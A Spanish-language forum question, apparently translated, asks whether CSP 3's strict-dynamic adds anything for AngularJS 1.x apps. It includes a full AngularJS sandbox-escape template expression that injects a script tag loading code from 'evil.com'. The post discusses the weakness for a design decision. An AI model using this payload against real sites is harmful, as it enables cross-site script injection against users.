No veo el punto de usar el nuevo strict-dynamic
de CSP 3 en el caso de una aplicación AngularJS 1.x.
Por lo que puedo decir, el uso de strict-dynamic
todavía permite la inyección arbitraria de Javascript a través de un escape de un sandbox en una plantilla:
<html>
<head>
<title>Angular - Alert in Expression</title>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"></script></head><bodyng-app="" ng-csp>
<div>{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,a=document.createElement("script"),a.src="https://evil.com/evil.js",a.type="text/javascript",a=document.getElementsByTagName("head")[0].appendChild(a),a')}}</div>
</body>
</html>
Lo peor es que la inyección de script anterior está permitida por strict-dynamic
, mientras que un CSP razonable basado en host script-src
lo bloquearía.
Entonces, ¿hay alguna razón para usar strict-dynamic
en una aplicación que usa AngularJS?